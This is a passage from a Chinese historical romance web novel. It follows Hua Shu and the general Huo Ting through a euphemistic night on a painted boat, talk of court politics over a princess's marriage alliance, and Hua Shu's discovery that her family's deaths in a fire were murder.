黑影:“裴督主适才提及的岔子,似乎大有深意啊。” 裴夙无言。 低头喝茶时,嘴角勾起一抹冷笑。 比如说,让圣上知道霍霆真正的弱点,另有其人。 * 东市倚靠清渠江而建,上游江畔造有聚贤阁。为了吸引文人墨客前来吟诗弄曲,聚贤阁曾花重金打造了数艘画舫,停泊于此。 深夜的清渠江面,画舫挑灯,浮光映照一江月。晚风卷帘,吹落吴侬半曲评。橹声欸乃,惊起白鹭掠沙汀。 不过今晚,有一艘画舫格外僻静。 华姝跟随霍霆,于夜色中,悄悄登上这座双层高的偌大画舫。这还是她头一次观见画舫的内部格局,瞧着哪都新奇。 麻雀虽小五脏俱全,寝屋、茶室、浴室、书房……连膳房都有,比她月桂居的规制还齐全。 事急从权,两人先行登临二楼寝屋。 屋门关上后,空气变得稀薄起来。 床头焚着鹅梨帐中香,也自带一抹别样的情愫。 华姝有些局促地停在屋子中央的圆桌旁,低头无意识摸索着红芍药金丝桌布,听着霍霆的脚步声由远及近。 她指尖掐紧桌布,抑制住后缩的冲动。 很快,男人从身后环上来,捉住已被她摧残泛红的指尖,缓声克制道:“难为你了。” 药效发作后,他本就炽热的体温越发灼人,灼得她心尖不由得一颤。 华姝羞于启齿,只摇了摇头。 晕红的脸蛋被他习惯性用骨节蹭了蹭,哑声征询:“去床上?” 几息后,华姝闭上眼,轻点了下头。 然后身量一轻,整个人落入他硬邦邦的怀抱里,动作很轻柔。 却在这时,门外响起长缨战战兢兢的传话:“启、启禀王爷,杜九娘有要、要事求见。” 霍霆脚步一顿,周身的气压骤然低沉下来。华姝清晰感觉他倒吸了口气,胸膛在剧烈起伏,极力压抑着。 她缓缓睁开眼,疑惑看向门口。杜九娘,这名字怎么像是在哪听过? 霍霆照旧将人抱到床上,“你先歇会,我去去就回。”而后从圆桌上猛灌了一大盏凉茶,出门。 华姝目送他背影远去,片刻后,恍然——杜九娘,是那位云兮楼的头牌雅妓。 她缓缓坐直。 不是说他身边这些年从未有过女子侍候么,那这算什么? 华姝暗气自己不该心软,默了默,下床吹灭灯盏,而后蒙头睡觉。 这时,门外又响起长缨狗狗祟祟的动静,“表姑娘,您睡了?” 华姝翻身,背对门口。 “哎哟,”长缨急得招耳挠腮,“您可千万别误会啊。王爷特意命属下赶紧来给您捎个话,那杜九娘是一暗桩,这些年统共没见过几面。” 华姝眸光微转,暗桩? 一楼茶室,霍霆又灌了一大盏凉茶,言简意赅命令:“说罢。” 杜九娘屈膝跪在白鹤展翅刺绣的大红地毯上,不似平时胭红点翠的华美窈窕打扮,此时她身着一袭利落的夜行衣,低眉垂首。 “启禀王爷,奴今日从一位来云兮楼的恩客那辗转听得:皇后携福佳公主几次求见圣上,都未得召见,恐是更瞩意她去和亲。” 霍霆蹙眉,“圣意难测,岂是尔等能妄加断言?” 杜九娘慌忙叩首,“奴该死,还请王爷恕罪。” 霍霆:“慈宁宫那边可有消息?” “按兵不动。” 杜九娘补充道:“但奴听得,皇后已写家书让徐阁老谏言,另择宗室女册封,被圣上否了。” 霍霆点点头,都在他意料之中。 新一波药效再度翻涌而来,连凉茶都要压不住了。霍霆深吸一口气,烦躁地往外挥手,“退下罢。” 杜九娘小心翼翼观他面相,她整日混迹在云兮楼,一瞧便知:“恕奴斗胆,王爷可是中药了?” “可要奴……”她欲抬脚上前,又卑怯后缩一步,哀哀低问:“可要奴为您按排一名清倌人?” “不必。”霍霆径直起身出了茶室。 杜九娘忧切追上来,剪剪水眸复杂,“但奴瞧着这毒甚烈,您身边又素来没……” “退下!”霍霆加重语气。 “是。”杜九娘不敢违逆,拧眉不解地伏身退出画舫。蓦然回首,她依稀望见了二楼窗边那一道曼妙身影。 “原是如此,呵呵……” 月色阑珊,江畔船头,有那么一人笑着笑着,就哭了。 秋雨似是受到感应,淅淅沥沥而落。 * 画舫二楼寝屋 霍霆推门进来时,入眼一片漆黑。他适应了会,捕捉到静立在窗边的姑娘。 他缓步靠近,没直接揽人进怀,只陪她一同吹着凉风。 上楼时,长缨支支吾吾地禀告:“您一走,表姑娘就把灯熄了。” 霍霆貌似猜到什么,又不大敢确信,比攻打以少胜多的战役还没把握。静默等了会,见她迟迟不说话,开口问:“生气了?” 华姝听这语气,竟透着几分欢喜。 她抿了抿唇:“没。” 结果话音刚落,男人就像得到了特赦令一般,伸手就将她圈入怀中。 灼热而健硕身躯,整个沉沉压下。像个巨大的火炉,饶是她特意吹了凉风,也抵挡不住那笼罩而来的灼灼侵袭。 没一会就强势洞穿了她的衣衫,她的肌肤,她的五脏六腑,烫得她呼吸也转瞬变得浓烈、凌乱。 她不禁想拉开些距离,他手臂却又圈得更紧。 华姝站在窗前吹冷风有一会了。霍霆将人抱在怀里,姑娘家的身子冰冰凉凉、香香软软的,可比灌凉茶舒服多了。 他下巴顺势搭在她肩窝,“那为何熄灯?” “……这般自在些。” 华姝说着,脸颊往旁边偏了偏。 此刻,他连呼吸都烫得吓人。 他却故意与她对着干,鼻息又逼近她耳畔几分,哑声诘问:“哪般?” 明知故问。华姝羞得不想搭腔。 腰间的手臂又收紧几分,“这般?” “……”坏人。 华姝抿唇想了想,捉住腰间那只故意欺负人的大手,略略扣脉,而后提议道:“王爷如今心火极旺,我以银针为您十指放血,败败火吧。” 耳畔响起一声失笑。 炙热的唇开始流连至她脸颊,轻轻蹭着,酥酥痒痒,细细密密。而后,听到他从鼻间极轻的“嗯”了声:“都依你。” 风推细浪,雨打篷窗,珠帘断续不成篇。 一如窗内两人的呼吸,越来越溃散、黏着。 华姝有意拖延着慢慢收拾好银针布包,霍霆从身后虚虚拢着她,耐着性子等候。 但统共一丁点活计,很快结束。 接下来,她该做什么?像山里那般么,可那些在陌生男人面前主动赤/身裸/体的记忆,是她不愿再去触碰的痛。 本以为两人如今关系不同了,她可以不再在意。然而真到了这一步,华姝发现自己还是迈不过心中那道坎。 可抵着她背脊的胸膛,起伏得越来越剧烈。可想而知,他得有多难受。 忽然这时,宽厚的大掌抚上她心口,她心跳越发咚咚弹动。 “还是紧张?”他克制着气息,问。 华姝攥了攥指尖,深吸一口气,倏地转身抱住男人精壮的腰身,“没关系,就跟山里一样吧。” 她知道,他定是濒临极限了,才会主动开口催促。 意外的是,霍霆俯下身来,借着远处画舫传入窗口的点点光亮,双手捧起她脸,深深看见她眼里,“傻姑娘,不一样了。” 华姝也凝望着他墨玉般的眸,微有恍惚。 潜意识里似也认同了他的说法。 却又一时不尽明白。 不待她进一步细究,忽然听到他问:“你知道清枫斋的东厢房,为何黑布蒙窗吗?” “我看那多宝阁上有字画,应是怕……”晒? 不对,华姝转瞬否决之前的猜测。霍霆不是在乎身外之物的人,即便那几幅字画着实稀罕,放到书房即可,没必要大动干戈地蒙黑整间屋子。 头顶,娓娓道来答案:“我初到霍府时很怕见人,那会东厢房只简单堆放着杂务,有个角落漆黑,我躲在那里面才能睡着。” 华姝微讶,她隐隐记起最初陪祖母去清枫斋那次,祖母用手比划着书桌,说他刚被祖父抱来时还没书桌高,“您那时几岁?” 霍霆:“垂髫之龄。” 华姝心道,难怪。 然后,就听他又补了一句:“正是你们假扮新娘娶亲的年纪。” 华姝眼皮一跳,不敢接话。 霍霆继续道:“那日寻你过去,我已在里面静坐有一会了。原以为心情能照常平复下来,结果却没能克制住。” 他叹了声,将她脸庞轻轻按在心口上,“那日吓你不轻,怪我,以后不会了。” “……我也有错的。”华姝侧耳听着他起伏的心跳,绷紧的身子微微放软,靠住,“我自以为私下能解决好,却让您从旁人之口听了去。说到底,是逃避亲口向您解释,在逃避责任。” 他捏了捏她指尖,未再追究。 “那日之后,我一直在思考缘由。” 霍霆又道:“想起在山上那会,我也是深陷黑暗,但身旁多出一条小尾巴,会时不时弄出些动静,会陪我散心解闷,想来是渐渐养成新习惯了。” 华姝愈加惭愧,小声道:“可我那都是为着逃跑,特意扯的谎。” “谎言也不尽然全是错误。行军打仗时,尚且要讲究兵不厌诈。” 霍霆侧头看下来,“知道自己想要的什么,在紧要关头能当机立断去做,世间许多男子都不见得有你这份勇气。” 华姝仰脸望着他,怔了一瞬,恍然明白他讲这番话的用意。 心底似有涓涓暖流淌过,抚平那丝丝沥沥的无形痛楚。 “谢谢您,谢谢您每次都这般包容我。”她开始尝试直面山中那段过往,“其实如今想来,您那时对我也是礼待有嘉,不似寻常山匪做派。怪我以貌取人,先入为主……” “以貌取人?” 霍霆哑声打断她,低头逼近几分,问:“所以,还是嫌我眉骨有疤,长相很凶?” 华姝心尖一紧,“不是的。” 她连忙解释:“主要是你们那时经常商议要杀人投毒的,容易让误解。其实,”她羞赧地挪开眼,“其实单论长相,您也是器宇轩昂之貌。” 霍霆缓了缓粗重的气息,忽问:“你晚间吃了几个糖人?” 华姝不解,只如实答:“两个。” 他又低头凑近几分,“甜吗?” 华姝似有所感,喃喃应道:“甜……唔……” 话音未落,唇瓣便被堵住了。 男人的动作轻缓,细细密密的浅啄着,如细雨般温柔且缠绵。 华姝身子起初紧绷了一瞬,慢慢放松,放软。 轻微的变化,全被他悉数感应到。 吮吸啃噬间,开始展露出强势的占有欲,连气息都迫人得可怕。 华姝指尖发颤,下意识抬手推他,却被他反扣住手腕,抵在背后的船舱上。 窗外雨声渐密。 他扣住她后脑,加快了节奏。 粗烫的唇舌随即撬开贝齿,侵略而入。他人生得高大,舌头也好大一团,堵满她口腔,风卷云残地掠夺着一切,包括她的呼吸。 不消须臾,她就杏眸水雾氤氲一片,腿脚发软。双手揪住他衣襟,指尖陷进布料里,才勉强站得稳。 腰肢上的铁臂箍得越发的紧。 唇齿间的纠缠也越发急促,越发深入。 身前是男人火热的胸膛,身后是斜入窗的凉风细雨。 华姝夹在其间,被迫仰头承受着,喉间溢出一声呜咽:“……轻……轻些吧……”齿关发软,尾音带着颤。 这次的药效好生霸道,她舌根都被吮麻了。 可他却充耳不闻,较方才的温柔体贴,像是彻底变了个人,像是要将她彻底拆吞入腹。 华姝挣扎不过,最后只能任他予取予夺。 不知又过去多久,身子彻底软成一汪春水,才被他打横抱起。 指尖若有似无地划过她腿窝,引得人轻颤。 她半阖着眼,鸦羽般的睫毛沾着水汽,迷蒙凝视着近在咫尺的那道斜细短疤,一步一步,随他跌落进床幔垂落的阴影里。 所过之处,海棠红色襦裙与雾蓝色锦袍,松松交缠一路。 第40章 丝帕蒙眼 在锦缎窸窣的作响间, 男人双手半撑着覆上来,轻吻了吻她耳垂:“这会还紧张吗?” 炙热的吐息喷洒在耳畔,烫得华姝心跳一紧。 她本来都已经忘了这茬,经他一提醒, 好了, 指尖又禁不住地扣紧锦缎。 她偏开头, 避开那灼灼打量的视线,“别、别这般看我……” 他山中失明时不显, 这次格外摄人心魄。 偏这人又佯作不知,“哪般?”说话间,视线却是肆无忌惮地下移几寸,故意捉弄人。 华姝心跳更是怦动。 可这个时候,这种场景,这样的他,显然没有一点道理可讲的。她心一横,直接抬起纤手,捂住那双灼灼逼人的凤目。 但转瞬就被他扣住腕骨, 蓦地按在耳畔两侧。连带着他, 如夜雾一般也浓密笼罩过来。 狭窄的方寸之地, 更闭塞了。 空气也稀薄得厉害。 华姝整个人像是被架在火上烤,似还有道火舌, 虎视眈眈地要席卷吞没她双腿, 吓得她一动不敢动。 “你难道还能时刻捂着不成, 嗯?”男人循循哄诱。 华姝心肠百转千回, 赧颜小声:“……用物件蒙上行么?” “用什么?”霍霆耐着性子环顾一圈,不经意瞥见一件红石榴花刺绣的翠绿小衣上,禁不住轻咳了一声。 华姝顺着他目光看去, 也差点羞得找不着北,连忙解释:“不、不是的!丝、丝帕就成……” 霍霆深吸了口气,狠狠掐了掐她下巴,但还是好性地塞进她手里一条丝帕。 华姝羞羞答答凑近,捻着丝帕来蒙他眼,却听见男人隐隐威胁:“系紧了,你只有这一次机会。” 她动作一顿,预感不妙。 默了默,手腕一转,把自己眼睛给蒙住了。 又伶俐又娇憨,惹得人引俊不禁。 霍霆看得心神一动,喉结滚了滚。 隔着丝帕,他低头怜爱啄了啄她眼眸,嗓音又暗哑几分:“战争尚未开始,你就先缴械投降了?” 华姝羞得咬紧唇瓣。 她都没有武器,赤手空拳对战,结局早晚不都一样么?怎知下一瞬,指尖就虚虚握住了一把剑。 那剑像是烫手的山芋,她惊得旋即要松开,可他不许,就像山中教她射飞镖一般,强势把控着她手腕的角度,把控着发力的劲道,把控着每一次的速度…… 疾风骤雨“噼啪”敲打起窗沿! 远处画舫的箜篌,韵律也变得极快! 大弦嘈嘈如急雨,小弦切切如私语。嘈嘈切切的响动,好似有佛珠击打着白玉瓷碗。指尖轻拢慢捻间,佛珠禁不住地发颤。 就这般,浓烈夜色一轮又接着一轮。 视线越发昏暗,华姝瘫软的身子好似一尾摇曳扁舟,在夜雨中沦陷。 后来,那丝带倒底还是松开了。 她濛濛睁眼瞧去,帐顶摇曳,晕晕惚惚间,一时竟分不清究竟是药效未散,还是男人眼底翻涌的暗潮更令人昏沉。 在他意犹未尽准备第三次时,她受不住地轻推他,肿润的红唇微张:“您怎么……还?” “这次药效霸道些。” 可他嗓音分明从容而平缓。 华姝窦疑丛生,反手扣住霍霆的腕骨。 果然,这人脉象早已四平八稳。 倒是她,扣脉时连指尖都在抖。 “骗子!”华姝气闷地缩进里侧,用锦被将自己埋起来,背着身不再搭理他。 结果下一瞬,就被他长臂一捞,连人带被子全沦陷回那滚烫的怀抱,犹如困在虎爪下的瑟瑟小兽。 霍霆将人紧紧箍住,脸庞埋进她馨香薄汗的浓密青丝间,气息极力克制着平复许久,缠着她的双臂才渐渐舒松。 夜色里,他腱子肉结实的小臂上,斑驳的旧伤隐约可见。或粗或细,或长或短,无言诉说着数不尽的峥嵘过往。 华姝垂眸,悄声瞧瞧,再静听远处画舫传来的靡靡乐声,心头忽而感慨万千。 须臾后,脸蛋被捏了下。 她赶忙闭眼不语。 须臾后,脸蛋又被捏了下。 她仍是闭眼不语。 霍霆侧撑起身,低头凑近,静静凝看着。 缩在锦被里的姑娘,小小一团。露在外面的小脸透着潮红,樱唇肿润莹亮,秀气鼻头粉嘟嘟的,卷翘睫毛心虚地眨动着。 他抬手拂开她鬓边的碎发,轻吻娇唇,“真不理人了?” 华姝呼吸一滞,整个人又往锦被里缩了缩,瓮声瓮气:“困了。” 霍霆气笑,顺手给她将被角掖好。而后,不疾不徐补了一句:“小骗子。” 夜雨仍在斜斜而落,溅起的涟漪里浮着睡莲的残香。 偶有两只水鸟冒出水面,互相啄了啄对方的白羽,而后交颈相拥。 * 次日清早,天刚蒙蒙亮,霍府角门就缓缓驶来一辆马车。 霍霆抱着怀里打瞌睡的姑娘,踩着马车脚踏而下,用骨节捏了捏她睡得红扑扑的脸蛋,“到了。” 华姝迷蒙睁眼,掩面浅浅打个哈欠,望向前方。见濯缨已先一步翻墙开了门,遂拜别霍霆,悄无声息溜回月桂居。 霍霆目送她身影远去,瞧着那蹑手蹑手的样子,无奈叹了声,回身,乘坐马车离开。 男人似乎在这方面总要天赋异禀些,不同于华姝又萎靡不振地补个回笼觉,霍霆在早朝时神清气爽。 就连有几个言官明里暗里怀疑,是他私通吐蕃使臣来和亲,霍霆都应对得心平气和。 华姝用过早午膳,前往白鹭院。 冯老太师言出必行,补了两份厚礼,命人送过来。 西厢房内,霍千羽正围着几大箱的话本子乐不思蜀,见她远远走来,狐疑盯视半晌。 直到人走到跟前,仍拧眉端详她。 华姝也上下端详自己几圈,衣饰并无不妥,“怎么了?” “你昨晚睡觉梦到鬼啦?”霍千羽指着她眼下两大团黑青,打趣道:“瞧着把你阳气都要吸干了。” “……”华姝心虚眨眼,指着那箱子转移视线,“这些都是老太师的赠礼?” “不止。”霍千羽掏出一纸地契,嬉笑:“除了这些话本子,老太师还赠予我一间书斋,以后我算是彻底实现看书自由啦。” 然后又指着旁边那个略小的方正锦匣,“你的在那,我没让人碰,由你自己来拆吧。” 华姝笑着点头,让白术打开。 只见锦匣里,以质地柔软的红色锦缎隔开,摆放着二十个青花瓷罐,胖肚窄口,拳头大小。 霍千羽和丫鬟们都凑上来,“为何要送你这些?” “此乃拔火罐的专用器皿。”华姝拿起一个给她瞧,“是景德镇的青花瓷,以极高的耐火性闻名遐迩。想来是老太师知道我们想开医馆,所以赠此助力。” 大夫人笑盈盈进门,“冯老太师已多年不问世事,给晚辈赠礼还花了这番心思,着实难得啊。” 华姝福身见礼,笑着应是。 娘仨转到西间的软塌上小坐。 大夫人继续道:“如今,既有老太师的厚赠,还有你四叔赏赐的那间铺子,你们这医馆回头筹办起来,定是福泽顺遂,财气楹门。” “是啊,咱有了四叔给的铺子,这医馆就可以着手筹办起来了。”霍千羽欢喜看向华姝,眼神亮晶晶的。 华姝瞧得心里不是滋味。 婚事的形势瞬息万变,一旦霍霆与韶华公主的婚事彻底作废,那她纵然再不舍霍家众人,也得远远躲开京城。 只盼吐蕃使团能晚些离京,这般就能延迟到霍霆后面两次毒解,多作些弥补,她也能少些愧与欠。 华姝无声攥紧帕子,托词:“寺庙的凶手还没找到,福佳公主对我的态度也比较微妙,感觉还是暂避风头为好。” “也是。” 大夫人叹:“福佳公主近日正值烦闷,若你们大张旗鼓开铺子,亦或咱霍府表现得喜气洋洋,难免会招惹是非祸端。” 霍千羽也叹:“最好是福佳公主去和亲。就她那性情,若日后真嫁过来,别说姝儿,只怕整个霍家都要鸡犬不宁。” 她又道:“不过听玄哥儿昨晚分析,这次赐婚主要是针对四叔。圣上多半会派福佳公主去和亲,否则她若嫁过来,一年到头都见不到四叔几面,于天家无甚功用。” “不可妄加揣测!” 大夫人板脸轻斥:“更不可去外面浑说。霍家正处在风口浪尖上,切莫让那些言官抓住你四叔的把柄。早年那瑞安候,可不就是因此株连九族?!” 霍千羽和华姝皆应是。 “不过话说回来,”大夫人话锋一转,“得亏福佳公主与你四叔差着辈份,要不然,可就真愁人……” 后面的话,华姝没再听。 攥着帕子的手指,紧了又紧,渗出一层薄汗。 她已经可以想见,倘若有一天,大伯母惊闻叔侄两人罔顾人伦的噩耗时,该是何等的错愕、悲怆。 更让她揪心的是,大伯母提及都察院的言官,像一记敲响的警钟。 自古以来,后宅女子清誉矜贵,稍有差池,这人一辈子就毁了。 殊不知,男子的清誉亦是关系重大,稍有不慎,可能满门尽毁。 尤其霍霆深处高位,每日不知被多少双眼睛盯着。又恰逢他与圣上关系敏感,只怕一步行差踏错,就可能陷入万劫不复之地。 更何况是叔侄厮混这等丑闻,那言官的折子恐怕会像雪片一般,堆满在圣上的御案前。 华姝陪着大房母女又小坐片刻,惶惶惚惚地回到月桂居。 略作思忖,将半夏和白芷的卖身契找出来,提前交与两人。 两人见之色变,双双跪地,“姑娘这是何意?您不要我们了吗?可是我们哪里伤您心了?” “你们误会了,快些起来。”华姝搀扶起两人,“只是我回想起昨日福佳公主的刁难,有些后怕。怕类似的事再发生时,这物件来不及给你俩。” 白术不禁红了眼眶,“是我没用,害姑娘受委屈了。” 半夏眼神更复杂些,“姑娘别多想,事情没到最后一步,说不定还尚有转机。” 华姝勉强点头,吩咐她俩各自去忙。 而后将自己关在房中,直至天黑。映在雕花小轩窗上的纤影,整个下午一动未动。 * 接下来几日,和亲的人选迟迟没听到风声,霍霆也早出晚归。 华姝这边忙里偷闲,将冯老太师给的青花瓷罐子,洗净,晾晒,还让半夏去街上找了木匠,定制二十个精巧的木塞。 无他,三十罐雪梨养颜膏太过惹眼。 她当时只顾得羞怯,回来一想,这事只怕早在东市传开了。她若直接将这东西大把的赠人,可谓不打自招。 好在雪梨养颜膏无色无味,正好用冯老太师赠的青花瓷罐重新分装,再送与府上女眷。 霍千羽过来拿时,就忍不住好奇:“你哪里一下子拿出这么多莲雾养颜膏?” 华姝:“我师父派人送来的。” “那就难怪了,你师父一向比女子还精细,这次我也算是跟着你沾了光。”霍千羽打趣道。 说话时,她不经意间瞥见书案上的医书,几行朱红小字的批注,“这字迹,”她凑近瞅了瞅,“怎么感觉在哪见过?” 医书正是霍霆找回来的那三本。 华姝讶然,“你也这么觉得?” “对,但又不像是咱家里人的。”霍千羽又想了想,“会是谁呢?” 华姝若有所思。 待送走霍千羽后,她手持那医书,在书房缓缓踱步。 蓦地,她顿住脚步。 转而走到书架前,拿出回春堂老板、府中常请大夫的药方,仔细核对字迹。 “都不一样。”她细眉微拧。 这字迹她与表姐瞧着都眼熟,对方又是大夫。如此,唯剩一人尔——圆妙大师。 当时,她们在山上虽没见到圆妙大师本人,但从其他香客手中瞧过他开的药方,大抵就是那个字迹了。 杀害圆妙大师的凶手,是绑架她之人。她父亲医书上,又有圆妙大师的批注。 那日在小木屋,霍霆便有意隐瞒绑匪的身份。这次的医书,又道是林军医在乡野书摊所获…… 华姝细思极恐。 为什么? 为什么他每次都在隐瞒? 他倒底在隐瞒什么? 华姝毫不怀疑霍霆一直以来的真意与关切,但事关父亲,她总要听他亲口给个答案。 奈何霍霆近几日忙碌异常。 当天他深夜归来,华姝已歇下。 次日华姝起早,他已去了军营。 如此反复两回,到了第三日傍晚,终于听闻霍霆提前回府,但人一回来就去了议事厅。 为避免这次再见不着人,华姝趁着夜色,索性去对面的清枫斋等他。 清枫斋一向主屋上锁,院门不上锁。她就规规矩矩站在院中等候。 怎料,恰是偷听到了更惊人的秘密。 真相,远远超出她的想象……《 》 40-45 第41章 “你亲亲它,就不疼了。…… 深秋月夜, 树影婆娑。 红枫树下,华姝捏着指尖,心绪不宁。 一方面,她对于父亲医书背后的隐秘, 充满未知, 充满不安。 另一方面, 经过之前那夜解毒,她现在有点羞于面对霍霆。还是要单独相处, 恐怕那人又要故意逗弄她。 近日,他似乎格外喜欢捏她脸。华姝掌心按了按微烫的脸颊,也没什么特别的,有那么值得捏来捏去的么? 魂不守舍时,门外忽有脚步声传来。 华姝心头一喜,抬脚迎向院门口。 但很快滞停,脸色微变。 不是一个人,也不是霍霆和长缨两个人的。粗粗一听,至少有四五个人的嘈杂脚步声。她转睛一想, 难道是几位叔伯从议事厅一路跟过来了? 华姝心不由一沉。 这可如何是好? 她深夜一个人等在这, 解释不通啊。 她不自觉后退几步, 然后转身疾步想藏进主屋,奈何主屋房门都锁着, 窗户也从屋里栓死。 与此同时, 脚步声已齐齐停在院门口。 华姝焦灼回看过去, 瞳孔微缩。 “吱呀——” 长缨推开了门。 霍霆率先走进来, 萧成、吴广、杨靖几位罗汉将军紧随其后,每人皆是眉头紧锁、面色凝重。 院门重新阖上,长缨去开锁。 趁这空, 萧成汇报起近期的探查进展 一窗之隔,华姝缩在东厢房的墙角,听到熟悉的嗓音,浅浅松了口气。 还好是萧成几人,那就不必藏了。 她站起身,准备将那把黄铜钥匙别回腰间,就推门出去。 怎料这时,却听见:“至于圆妙那边,一应相干人等我又仔细排查过,感觉稍微知道些内情的,皆是被灭口。如今知晓当年真相的,唯剩司空震。” 华姝顿足,司空震? 她拧眉回忆,这貌似是前任兵部尚书的名讳,后因贪墨被抄家。 他怎么会和圆妙大师扯上关系? 还有当年真相……当年的什么真相? 这时,长缨已经推开主屋的门。 萧成跟在霍霆身后,边走边继续道:“但这司空震一家老小,过几日就要流放北疆了。照这态势发展下去,路上必然凶多吉少。” 他重重叹口气:“如此,华太医遇害一事,只怕线索又要断……” “哐当!” 东厢房突然传来一道金属坠地的脆响 杨靖猛地回头,沉声怒斥:“谁在哪里?给我滚出来!” 说话间,他拔出腰间的佩剑,朝着那扇窗户,就一剑投掷过去—— 霍霆眼疾手快,抬腿一脚踢中杨靖的手腕。 只见那剑尖调转方向,直插进墙上! 杨靖不解:“老大?” 霍霆定定盯着那扇窗,良久未语。 萧成和吴广亦是疑惑,三人面面相觑 这时,长缨硬着头皮挪步过来,低声解释:“只怕是……表姑娘。” 三人脸色一惊。 也先后转头看向那扇窗,良久沉默。 萧萧秋风,月色清冷如水。 终于,突兀的开门声划破夜的冷寂。 华姝轻一脚、重一脚地缓步走出东厢房,月色下,小脸惨白如纸。 她慢慢站定在几人面前,没有歇斯底里地质问真假,没有质问缘由,而是面朝几人,深深鞠躬、致敬。 华家上百口人命,一夕惨死,华姝不是没有怀疑过。 十岁那年已是懂事的年纪,她曾央求大老爷霍雲帮忙疏通,去大理寺阅览过华家案件的卷宗。 当年大火,之所以满门无一人幸免,是赶上冬日新购置的煤炭粗质掺假,令全家深度昏睡。在煤炭引起火灾时,或是醒不过来,或是四肢已疲软无力逃生。 大理寺的人表示,类似案件,每年冬日各地都会有数百起噩耗。只是华府家大业大,人口众多,显得严重罢了。 而且,华家案件的卷宗内,附有煤炭铺子老板的亲笔认罪书。说是那老板留下认罪书后,也在密封的屋子因同一批煤炭,自而缢亡。 种种证据面前,华姝遂打消了疑虑。 直到今夜,亲耳听见萧成提及此事,她震惊,骇然,痛恨,痛心。 幼时的零星记忆,不断涌入脑海。 手把手教她提笔识字的谦和父亲,熬夜为她缝制漂亮襦裙的温柔母亲,放下太医院院判的身段让她骑大马的慈爱祖父,还有教导她“遇事要冷静、要坚强”的祖母…… 无数的亲人笑靥,接连重现眼前。 一想到他们皆是含恨而死,十数年未能够沉冤安眠,她就止不住地浑身发抖。 但华姝告诫自己,要记得祖母教导。 她要坚强地证明给霍霆他们看,自己长大了,不再是那个啼哭女童。 华家小女华姝,有能力与他们并肩而战,有能力扛起华家满门的血海深仇! 她竭力逼退眼泪,尽可能让发颤的嗓音平静些: “我可以为你们做些什么?” “我可以为他们……做些什么?” 声量很轻,轻得像雪花飘落炭灰上。但只有她自己知道,衣袖下攥紧的拳头里,正攥着整个华府未燃尽的冤火。 从华姝出门起,包括霍霆在内,所有人目光都凝聚在她身上。 他们注意到她泛红的眼圈,注意到她颤抖的单薄双肩。夜风吹得她裙摆摇曳,凸显得她纤细身形越发清瘦。 但她的干脆果决,让几人皆是惊异。 尤其萧成,他都已经做好扮猪八戒、逗趣哄人的打算,结果被个小姑娘给整不会了。 不是说女人伤心的时候都很麻烦吗? 旁边,霍霆朝门口挥了挥手,“你们先去客房。” 长缨引路,几人麻溜避退。 院中只剩他们两人。 数日不见,霍霆对华姝的印象,还停留在那晚小女儿家的羞涩模样。今夜她的故作坚强,让他心疼,更让他动容。 霍霆展开双臂,朝她敞开怀抱,“过来。” 华姝摇头,“您不用担心,我没事的。” 霍霆不为所动,“乖,过来。” 华姝贝齿咬紧下唇,偏过头,不愿让他看见自己软弱的样子。 霍霆叹口气,上前两步,大掌包裹住她后脑,轻轻将人揽进怀里。他柔语,缓声:“你还是个小姑娘呢……” 华姝低靠在熟悉的怀抱,坚实而温热,让人禁不住泪水扑簌簌而下。 她强忍哽咽,解释:“我也可以不哭,是您非要招惹我的。” “现在不哭,等会回去一个人猫在被子里哭,嗯?”霍霆一语道破。 华姝闷着头不吭声。 “有时候,眼泪并非懦弱,而是为了发泄情绪。倘若情绪都闷在心里,心思也跟着沉闷躁乱,考虑问题时难免有碍。” 霍霆俯身,熟练地将人打横抱起,走进书房,“哭吧,都哭出来,之后咱们好生谈谈此事。” 华姝鼻头又是一酸,将脸埋进他胸膛,压抑的泪水无声打湿他衣襟。 灼热,再被风吹凉。 霍霆的心随之跌宕起伏。 * 书案一角,沉香白烟袅升。 约莫一炷香后,霍霆言简意赅,讲明他们兄弟十三人接到华不为密信,紧急前去赴约,却被黑衣人伏击的经过。 “真论起来,我们也没有实据。”他道:“但我们南下逃生不久,华家满门就丧生在大火里,怎么看都脱不开关系。” 华姝用丝帕擦拭干净红肿的眼角,哭过后,头脑确实清醒几分:“那年,千羽表姐说在华府瞧见了人影,莫非也是?” 霍霆颔首:“有可能。” 华姝略略转睛,又不解问:“可此事与前兵部尚书何干?” 霍霆:“之前查抄他府邸时,曾在他书房找到一封密信。顺着这线索,找到了圆妙。” 华姝:“还有我父亲的医书。” 霍霆挑眉,“连这处都猜到了?” 华姝点点头,目光慢慢聚焦在他右眉骨的斜短细疤,再联想起萧成等人面庞上大小不一的疤痕,她忽地想到一种大胆揣测,脸色微变。 霍霆看穿她的猜测,“后来打仗落下的,与当年的事无关。” 可在这件事上,他多次隐瞒于她。华姝现下对他的话已是半信半疑。 烛火幽幽,棕色的疤痕忽浅忽深。 她抬高手臂,葱白指腹缓缓抚上去,隐约能感受到微弱的肌理凹陷。 于手指而言,这一点凹陷微乎其微。但于眼睛上方这么精细之处,连皮带肉剥去一块,该是何等的痛楚? 她软了声:“当时,很疼吧?” 霍霆配合着她动作,浅浅低头。 也清晰瞧见她琥珀瞳仁,映衬着烛火摇曳的光,坠坠惶动不止。眼底深处的心疼与愧疚,一览无遗。 他沉默几息:“你亲亲它,就不疼了。” 唔! 华姝心跳一悸,顾不得再心疼、愧对这人,转身下地,就要躲出门去。 霍霆长臂一伸,将人轻松捞回怀里。 他从后松松环住,下巴顺势抵在她头顶,“回去之后,什么都别担心,什么都别想,好生歇息。” “至于你父亲的事,”他道:“之前我始终未放弃追查,如今,我都把他家姑娘给欺负了……于情于理,也该一查到底。” 华姝毫不怀疑他的承诺,但提及两人之间的纠缠,她反倒有些怯懦。 她扪心自问,如今这等局面,还能堂而皇之地离京出走么? 可又有几分是为着他呢? 对霍霆而言,无疑是不公平的。 他已被华家牵连多年,以后还要继续因她而饱受不堪的折辱么?甚至搭上仕途。 如今再想来,若没有她,他或许就会顺遂接受与韶华公主的婚事,向圣上证明他的忠肝义胆,继续稳居高位。 一想到这些,华姝的心好似在油锅里熬煎。她迟疑地回过头,仰脸瞧向他,“已过去数日,和亲人选迟迟未定。有没有可能,我是说万一……” “没有万一。” 男人几乎瞬间沉脸,狠狠戳了两下她脑门,“把这等想法,给我从你小脑袋瓜子里剥干净了。” 华姝捂头吃痛,想挣扎着离开他却是不准,遂转回头来,兀自闷头不语。 窗外树影斑驳,脑海里也乱糟糟的。 她气自己还是年纪太小,很多事都看不透。长此以往,他还是会把一切重担都揽在自己肩上,她则帮不上一点忙。 少顷,脸蛋又被他捏了下,“说话。” 